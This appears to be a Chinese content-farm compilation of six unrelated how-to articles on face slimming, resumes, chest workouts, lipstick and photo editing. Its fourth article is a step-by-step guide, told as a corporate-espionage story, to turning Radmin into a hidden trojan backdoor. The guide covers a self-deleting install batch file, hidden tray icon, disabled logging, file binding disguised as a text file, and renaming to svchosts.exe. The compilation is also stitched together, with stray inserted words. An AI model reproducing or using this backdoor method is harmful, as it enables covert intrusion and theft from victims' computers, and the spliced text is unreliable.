下面是小编为大家带来的只需3招教你打造完美瓜子脸，本文共6篇，希望大家能够喜欢!本文原稿由网友“人生删除事务所”提供。
篇1：只需3招教你打造完美瓜子脸
只需3招教你打造完美瓜子脸
长期嚼口香糖后，发现自己的咀嚼肌越来越大。本来尖尖的瓜子脸变成了国字型的方脸。那到底怎样才能把这个讨厌的咀嚼肌减掉，重拾之前的瓜子脸呢?
一、咀嚼肌形成原因
1、人体咀嚼肌包括咬肌、颞肌、翼内肌、翼外肌等，所以咬肌肥大的发生一般又认为与人咀嚼习惯和饮食习惯有关。如饮食中经常吃硬的食物或有吃零食、吃口香糖习惯有关。
2、咬肌肥大与遗传因素有关，事实上从临床上看确有家族性咬肌肥大的现象。
3、咬肌肥大的原因多伴有下颌角肥大、下颌角外翻等情况发生，所以临床上又将咬肌肥大称为下颌角肥大或咬肌良性肥大。
二、如何减咀嚼肌
方法一：敷脸法
早晚洗脸后，双手轻轻拍打或敲击脸部，待脸颊呈微红为止。此方法不但能促进脸部血液循环，使脸色变红润，还能达到修紧面部、突出轮廓的效果。晚上睡前将热毛巾敷在咬肌上5分钟，坚持两三个月会看出效果，这个方法不用花费金钱，只要持之以恒即可，值得一试。
方法二：按摩法
1、除了大拇指以外的其余四根手指靠拢，放在脸上大约是上下臼齿的位置，在脸上画圆，从内向外的方式，轻轻地拍打3-5圈，一边做完之后再换另一边进行拍打，重复5次。拍打时，嘴巴肌肉是放松的状态，所以会呈现是微微张开的样子。
2、在两颊的部位，用大拇指同样是由内往外用轻轻压迫的方式，也是画小圆圈，这个动作可以两颊一起做，画大约100-120下即可。
3、最后一个动作是用手掌并拢，一左一右地拍打脸颊肌肤40-50下。
方法三：脸部运动
首先将口香糖放入口中，先咀嚼一下，活动面部肌肉，然后当面部肌肉逐渐适应后，边嚼边往上提拉右嘴角，将口香糖移动到右脸颊内侧，保持嘴巴合拢右嘴角上提的姿势慢慢咀嚼口香糖10次后，用较快的速度有节奏地咀嚼20次，再左右互换。腹部怎样减肥咀嚼瘦脸操 轻松嚼出瓜子脸
注意事项：
1、咀嚼瘦脸操与平时随意咀嚼不同，必须令面部肌肉紧张起来，并充分活动每一块表情肌腹部
2、左右咀嚼的次数、力度、节奏都要相同，否则运动不均会导致左右脸颊不匀称哦!不少人习惯性用某一侧牙齿咀嚼，可以用这个方法来锻炼另一侧不常运动的面部肌肉腹部
3、想提高减肥效果还有一个诀窍，可以选择硬度稍大的口香糖，咀嚼的难度加大，肌肉的运动量也能提升哦
篇2：3招帮你打造完美简历
3招帮你打造完美简历
个人简历中最为重要的一块内容就是你的能力加上你对这家企业还有职位的正确认识。所以，最好的方法就是在简单介绍自己的籍贯，学校，姓名之后就展开这方面的论述、不要以为这种方法有些唐突，其实细细想来公司凭什么会录用你?最为直接的原因就在于：你的才干跟能力比其他人出色很多，就像是鹤立鸡群一样!也许有些残酷，但是事实就是这样，我们也就只能勉强去接受了。
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简历写作要求
明晰的职业定位
从简历角度来说，应该有针对性的突出自己的职业定位。也许很多人觉得职业定位只是一个简单的理想的描述，没有现实的指导意义，认为是“虚”的东西。然而，一个有职业定位的人，他必然是能主动控制自己职业发展的人，也必然知道自己未来的职业发展和学习方向，并且清楚自己优劣势，能客观了解社会环境。
简历的条理性和逻辑性
简历应该注重条理，分个人情况，自我评价，教育情况，社会实践，技能等来写。在一些细化的内容上，能一条一条，按从宏观到微观的思路来写。然而，有很多人的简历就像写一个自传一样，洋洋洒洒的一大篇，似乎是很有文采，思路很跳跃。其实这种简历，企业的HR是看都不看。
简历内容充实
虽然，刚毕业的学生没有什么实践经历，但在学校的情况可以写的具体一些，如学习获奖情况，学生活动组织和参与情况，论文，学校的实践和自己的社会实践等都可以用来充实自己的简历。当然，内容充实最好是围绕目标职位的要求，如，体现一些团队合作、组织协调能力、学习能力等。
其他注意事项
职场新人的简历同一般的简历一样，应该力求文字的准确，在做完简历后要仔细检查，注意语句的通顺和错字。另外，简历的总体内容应控制在一页。同时，尽量准备一份英文的简历。
简历是获得工作机会的第一个关口，尤其在当今网络发达的环境下，大多数人都是通过网络求职。所以，简历成为了成功的第一步。中国职场新人在没有实践经验的情况下，简历的制作尤其重要。希望以上几点建议对你们有帮助。
简历写作技巧
第一点、陈述你将解决什么问题
高管们专注于时间、金钱和风险这三个挑战。当他们在审核一份简历时，他们希望看到的是即使你不能解决所有这三个问题至少你是能克服这其中任何一个挑战的人。
第二点、解释你曾经帮助过谁
在很多的简历中都包括那些你工作过但是却并非是家喻户晓的公司名称，所以在简历中加入简短的解释说明。例如“十大国际重型建筑设备组件供应商”这都将会为你的业绩提供一定的背景。
第三点、说出你产生过什么样的影响
在这里我要强调一下，我所说的是你解决问题时所采取的具体措施。比如说你让工作流程提高了20%：你让每一部分生产造成的浪费减少了6%或者你让销售额同比增长至三倍。如果是这样，在简历中一定要具体说明，并把你的表现与你的同事的表现相对比。
第四点、显示出你的工作经验让你为这份工作所做的准备
你过往所累积的工作经验将引导你走向拥有更大机会的道路。但是如果你不说出你接下来准备做什么以及如何做，那么你将会让招聘者如何猜想，所以在更多的情况下他们几乎不会注意你。
那么所有的这些都意味着什么呢?现在让我们先回顾一下：使用上边列出的建议为决策者写简历，首先，把你的工作经验放到你能解决的问题之中。其次，消除工作匹配语言，相反专注于成就。最后，努力用简历获得一次面试机会，但是要注意一点因为简历是不会为你赢得工作，最后的面试还是需要自己的充分准备。
简历写作要点
个人简历中家庭地址的填写也是很重要的
随着社会就业压力的不断增加，社会上很多的求职者越来越重视个人简历的填写工作，因为他们都知道个人简历就是求职者的脸面,公司对于求职者的了解全部都是限定在一张个人简历之上。想要得到一份好的工作，就要从众多的求职者之中脱颖而出，引起公司的注意，因此他们非常注重个人简历的填写工作。
但是对于一些觉得自己的能力非常出众的人来说，却不注重个人简历的问题。他们觉得自己的能力非常的出色，只要在个人简历上面填写上自己的学历和工作经验就一定能够受到公司的重视。而事实也确实如此，他们投递了个人简历之后，公司也接纳了他们，让他们来公司上班。但是被分到的地区却不领他们满意，离他们住的地方太远了。
这种事情是常有发生的，特别是一些大型的企业中，他们会将招聘到的人才输送到各个地区进行工作。我们在将简历投递到这种公司中的时候一定要注意，家庭住址的填写。这种企业的覆盖面积十分的大，有的甚至连跨几个省，这样一来我们在填写个人简历的时候就更要注重家庭住址的问题了。因为公司会根据我们的家庭住址来给我们分配到合适的地区中工作，如果你不填写或者填写的含糊不清的话，公司就会认为你在任何地方都能够很好的工作，所以家庭地址的填写很重要。
特别是一些能力不要出众的人觉得自己非常有能力胜任这份工作的时候，一定要注意家庭住址的问题。因为你的能力很强公司就会将你调到最适合你的地方，那个地方有可能就离你的住址很远。
如何写个人简历中的荣誉
个人简历中的荣誉是简历中重要的一部分，简历中的荣誉也能体现出你曾经的成功和辉煌。简历中的荣誉代表着就是你个人的'能力还有水平。所以说，把这个简历中的荣誉写好了也是非常重要的一点。那么，怎样写才能把这个简历中的荣誉写的更有技巧而且让人真的相信这就是你自己的实力和水平呢?这个当然也是有一定的技巧的，也是会给你加分的。
很多招聘者就会这样说，自己在学校在社会实践中都会或多或少的得到一些荣誉或者奖励。那么，这些荣誉真的有必要都要一一的写在简历中吗?事实告诉我们这样做是不可以的。大家知道，不管做什么都有个主次之分，那么，简历中的荣誉也是一样，大家要把自己曾在学校或者社会实践中的荣誉选择几个具有代表性的，有重大意义的写在简历中，这样不仅简历中的内容简练而且还有重点。
还有一点要强调的就是应聘者在选择自己荣誉时，要选择和你应聘职位相符合的，不能把一些不相关的荣誉都写在简历中，就算你写的再多，招聘者也不会浪费时间多看一眼。所以大家要把自己重要荣誉写上比如，你曾经参加过的志愿者工作都可以写上，这种荣誉不仅能体现你自己的责任感，而且也能说明你对事业的热情，这样的应聘者招聘者喜欢。能让招聘者放心，舒心。简历中的奖励也要把相关的重要部分填在简历中，要按照一定顺序填好。以上就是简历中荣誉部分应该怎样填写。
简历当中如何描述个人违法犯罪记录?
如果我们有过违法犯罪记录的话，那么应该如何在简历当中描述这些?首先我们肯定不能告诉招聘者自己犯过法，一般大家肯定是不会主动交代这些的。但是如果招聘者明确提出了这些问题，例如他们问你：是否有过违法犯罪的不良记录?或者是你是否坐过牢等。此时你到底如何描述这些自己了?
如果想避免被招聘单位提出这类问题，那么我们首先就应该先从源头开始避免，也就是先搞清楚哪些岗位有可能会提出这类问题，最简单的方法就是去网上搜索看看相关的信息，从而避免自己应聘这些岗位，那么人家就不会提出这样的问题。比如说会计这样的岗位就很可能被提及你的犯罪记录情况，因为会计每天都和公司的资金接触，如此之多的钱在手里转悠久了，那么难免会令人产生一些歪心思，所以会计侵吞公司自己的事情也是非常多的。所以不向这些岗位投递简历就是保护自己过去隐私的最有效方式。
如果你在简历当中表示自己没有犯法过而事实上却有过犯罪几率，那么在今后企业如果把你的过去查出来了，此时你怎么办? 企业要查你其实很简单，或者说企业无心查你那么也会因为工作方面的事务而发现你的个人问题，比如说企业让你去办理护照或者某个手续等等，需要用到你的相关证件，那么在办理过程当中很可能就会将你的过去曝光出来。面对这种情况我们只能跟企业解释一下，如果你在这家公司干得不错或者你犯法的动机并不坏，那么还能够保留一线希望。
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篇3：几招教你打造完美事业线！
完美事业线不用羡慕，你也可以有，快来一起学习如何打造完美事业线吧！
蝴蝶机夹胸
蝴蝶机夹胸的好处是加在胸肌上的张力恒定，不会因手臂位置的变化而变化。由于可采劝桥”式动作，并使双肘相触，故动作幅度可更大，安全性更好。不仅中下胸缝（平卧哑铃飞鸟的主要刺激区域），对整个胸缝都有很强的刺激作用，且可通过变换握把形式着重刺激胸缝上部。
正确的动作是：坐于凳上，手握把手，肘弯抵住档板。如觉坐的位置偏高或偏低，可调节坐凳的高度。动作幅度可通过上面两侧的半月形板的孔位调节。采用“桥”式动作，即只将上背贴在靠板上。打开时充分吸气、挺胸，双肩竭力后展，注意力完全集中于胸缝。通过控制，使胸部肌肉充分伸展。如对镜练，应注意观察胸肌的伸展，这样可以更好地集中注意力。合拢时双肘档板应相触，并略做停顿，进行顶峰收缩1～2秒钟。这时感觉会更费力，不像哑铃相触时更省力。只能通过尽力收紧胸肌，或相距少许距离即分开（不等胳膊与身体平面呈垂直状态）来弥补张力的流失。次数为8～15次/组，逐降重量做3～5组。
为了更好地刺激上胸缝，可以变换一下握把方式：双臂如侧平举状伸直，拳眼向前，以腕部或小臂（以手臂长短定）抵住档板做夹胸动作。由于双臂可以交错，动作幅度也很大。这个动作的特点是通过充分挤压上胸部，使两侧胸及立”起来，这当然是我们非常想要的结果。做3～5组，每组8～15次。
仰卧哑铃飞鸟
仰卧窄凳（宽20～25厘米）上，双手持铃，小臂与大臂呈135度左右的夹角，动作过程中不要为了助力而勾起颈部使头离开凳面。
下放哑铃时注意力集中在胸缝处，靠胸肌的张力控制住哑铃缓慢下放，同时充分吸气、挺胸，幅度要完全到位。上举时要靠胸肌的收缩带动双臂向上环抱，直至哑铃相触，这样可避免肩背过分参与用力。为了使动作更加准确，可想像去抱一个大的啤酒桶。
该动作除了小臂与大臂之间保持135度的夹角外，整个臂形应撑圆，手腕略内收，形若环抱。如果仅以手臂紧张僵硬地勾住哑铃，发力就很容易以肩部为起动点，虽然看起来是在努力做飞鸟动作，其实是“貌合神离’，主要锻炼的是肩部三角肌前束，对胸肌中缝部的作用很小。
为了充分牵拉胸肌纤维，采用的重量也要适度，以8～15次/组为宜。第一组应为15次左右，然后做3组10～12次，最后一组可降至8次，一共完成5组左右。飞鸟练习有别于卧推，卧推可在多组训练后将次数降至1～3次，效果仍很好。飞鸟则需要以一定的次数来累积刺激中缝肌肉，过重的负荷既影响动作幅度、拉伸的效果，又容易对肩肘部造成伤害（6次以内职业运动员也很少采用，而且支撑困难，有一定的危险）。
训练中有人喜欢勾住颈部，将头抬离凳面助力。这是一种很不好的习惯。抬头必然窝肩做动作，不利于充分吸气、挺胸。窝肩发力主要是肩背部，对胸部几乎没什么锻炼作用。为了纠正这一错误，可先降低重量，将次数定在12次左右，刻意体验一下正确的发力方式，待动作定型后再逐渐增重。
篇4：高手教你打造完美后门
有一次，Cytkk成功取得了北京某广告公司创意部门计算机的Shell，准备窃取某个重要商业资料，在搜寻到的一份项目进度报告书中，他发现原本需要的创意设计被推迟到两天后由设计部门提交。Cytkk只得想办法在此台计算机上留下后门，以待两天后重回旧地守株待兔……
完美后门
因为这是笔大买卖，所以不容有闪失。作为商业间谍的Cytkk知道，信誉非常重要。
凭借着职业的敏锐感，Cytkk开始飞快思索后门的“人选”。普通的木马程序当然是不能用的，因为防病毒软件可不是吃素的……正在难于抉择之际，一款商业软件的名字跃然闪现在Cytkk的脑海——Radmin！一款商业化的远程控制软件。
既然Radmin有着商业软件的外衣，那自然杀毒软件也就不会与它为难！但Radmin虽说不会被查杀，但却有着先天的不足——服务端运行后在任务栏有图标显示，且服务端由3个文件组成（1个EXE文件，2个DLL文件），需要人工在服务端填写口令才可以正常连接并操控，而且最令人头痛的是服务端不具备自启动功能。
想到这些，Cytkk眉头微皱，但凭借着多年的技术敏锐感，一款改造后的Radmin服务端形象出现在脑海里，一个完美的木马后门：服务端由单一EXE文件组成，运行后无明显痕迹、无需人工干涉即可自动填写注册信息到注册表，添加自身到系统服务启动项……Cytkk就这么一边构想着，一边将鼠标移到了自己电脑的“开始”菜单上……
改造Radmin
1.Cytkk决定先去除Radmin在服务端运行后的任务栏标志。进入Radmin“服务端设置”中的“设置参数”（见图1），在“隐藏状态栏图标”前打上√，这样原本在服务端运行后会在状态栏有图标的弊端就剔除了。
2.然后根据自己的需要，更改连接端口号，设置成不常用的1986端口。其它地方可不作修改（值得注意的是“日志”选项，千万不要因为错选“保留记录文件”从而留下“罪证”），点击“确定”退出。
3.点选“设置密码”来设置连接时的密码******。
4.一切设置妥当后，Cytkk先在自己机子上安装了服务（因为Radmin工作原理的特殊性，配置信息并非记录在服务端程序内，而是在相关的注册表键值内）。待软件提示成功安装服务后，Cytkk打开注册表编辑器，找到：HKEY_LOCAL_MACHINE\\SYSTEM\\RAdmin 键值，点击“导出注册表”并保存成单独的r_server.reg文件，用记事本打开后，发现其中内容如下（根据设置的不同，参数会略有出入）：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\\SYSTE
M\\RAdmin]
[HKEY_LOCAL_MACHINE\\SYSTE
M\\RAdmin\\v2.0]
[HKEY_LOCAL_MACHINE\\SYSTE
M\\RAdmin\\v2.0\\Server]
[HKEY_LOCAL_MACHINE\\SYSTE
M\\RAdmin\\v2.0\\Server\\iplist]
[HKEY_LOCAL_MACHINE\\SYSTE
M\\RAdmin\\v2.0\\Server\\Parameters]
“NTAuthEnabled”=hex:00,00,00,00
“Parameter”=hex:9c,ee,06,f2,9b,05,13,f8,6e,66,9a,06,00,24,5b,4b(这里是连接密码！其它信息不影响操作，所以不需要掌握)
“Port”=hex:c2,07,00,00(连接服务端时用的端口)
“Timeout”=hex:0a,00,00,00
************************
“LogFilePath”=“c:\\\\logfile.txt”
“FilterIp”=hex:00,00,00,00
“DisableTrayIcon”=hex:01,00,00,00(01表示隐藏系统右下角的图标,如改成00图标就会被显示)
“AutoAllow”=hex:00,00,00,00
“AskUser”=hex:00,00,00,00
“EnableEventLog”=hex:00,00,00,00
5.最后Cytkk麻利地在桌面新建了一个setup.bat批处理文件，在里面添加如下脚本：
@echo off
*********************** （自动安装Radmin服务端）
regedit.exe -s %SystemRoot%\\system32\\r_server.reg >nul （自动将r_server.reg内的配置信息导入目标机注册表）
net start r_server >nul （启动r_server服务端服务）
*******************************（删除信息文件）
del %0
注意：文中代码后括号内的内容为注释，勿输入，
超级捆绑
由于Radmin并不是“木马型”监控软件，所以它的服务端是由r_server.exe、raddrv.dll、AdmDll.dll三个文件组成，而一般的“木马”服务端通常只有一个可执行文件。这是个比较麻烦的硬伤，但这难不倒Cytkk，他熟练地运行了一款名为“超级捆绑”的软件。
1.在界面点击右边白色图标，将Radmin服务端的三个文件添加进文件列表，捆绑方式设置成“按文件捆绑方式”，然后点击右边的“高级”按钮进入详细设置，在“常规”选项内（图2），将图标自定义为一个文本文件以增加更好的隐蔽性，文件大小则采用默认。
2．随后，Cytkk又将“属性”中的“只读”、“隐藏”和“系统”三项全部选中，这样就使捆绑后的文件更具隐蔽和安全性。
3．Cytkk点击“运行”标签，出现捆绑程序运行设置，将文件分解运行目录设置成 “在捆绑后的文件所在目录中运行”，窗口状态则设为“隐藏窗口”。
4．他将“参数”页面内的全部个性化设置选项前面的√取消。点击“确定”退回上级窗口，最后设置好捆绑文件输出路径。为了增强隐蔽性，可以将捆绑后的执行文件更名，Cytkk将它命名为svchosts.exe。
5．点击“合并”就完成了服务端的文件捆绑工作。现在的Radmin已经基本上从一款商业化的远程控制软件变成了一个不折不扣的木马了。
善后
到此，Cytkk认为整个改造工作差不多完成了，马上进行关键的收尾工作，即将编辑好的setup.bat以及最先导出的r_server.reg连同捆绑后的svchosts.exe这三个文件用WinRAR打包成自解压程序。
篇5：口红新手 3招打造完美唇妆
1、还是新手的你就跳过唇笔，填充这些繁琐的步骤吧。选一把平角的口红刷，用它去蘸取口红刷满你的唇部以及轮廓。但是你不能忽略的一步就是用遮瑕效果好的遮瑕膏将你的唇周涂抹一遍，以免你的唇周色调暗黄，影响唇妆的效果。
2、先用唇刷在你的唇内缘刷一遍，但是外缘不要刷到。再用小的眼影刷将内缘的唇色晕染到外缘。如果你没有眼影刷的话用你的手指轻拍也是可以的。
3、找到属于你的理想的裸色。很多时候说“裸色”大家都会不约而同得想到一种颜色。但是其实对于不同的唇色，不同的肤色的人，裸色的标准是不一样的。有的偏紫色，有的偏棕色，有的偏杏色。要根据你的肤色以及唇色来定。然后选择属于你的裸色口红小心涂抹即可打造裸唇妆。
篇6：美图秀秀只需简单旋转打造完美构图
喜欢拍照的童鞋经常遇到图片需要旋转的情况，当然，如果只是横竖的旋转，在一些看图浏览软件中就能轻松完成，但由于相机拍摄角度不对而引起的歪斜，就要借助于图片处理软件进行纠正了。比如下图中，海平面的歪斜略微影响了照片的美感和意境，这些功能都可以在“美图秀秀”中只轻松解决，让构图变得更完美哦！
图1
可以的看得出，效果图不但有进行小角度的旋转，还让景物左右镜像了，让照片从构图上更加完美了。这可是相机镜头难以捕捉的效果哦！快来看看是如何做的吧：
1、打开一张问题照片，进入主界面后点击右上侧“旋转”按钮。
图2
2、进入旋转处理界面后，先按照图片倾斜程度微调一下“任意旋转”的角度，可以选择用鼠标拖拽滑块来调节图片旋转角度，也可以用电脑键盘的左右方向键来调节，
当然，如果旋转的效果不够满意，可以点击界面上方“重新开始”按钮回到初始状态。
图3
3、为了构图的需要或者个人爱好，还可以选择将图片左右翻转，达到原本相机镜头所无法拍到的效果。当然还有向左向右及其上下旋转，可根据需要进行选择！
图4
再来看看效果图吧：
图5
总结：
时下，数码相机和手机拍照的普及，让随手拍照成为了一种习惯。但是照片拍多了，各种图片问题也就随之而来，比如歪斜、模糊等。“美图秀秀”这款软件操作简单、处理优越，可以让大家在简单玩乐中解决许多常见的照片问题。
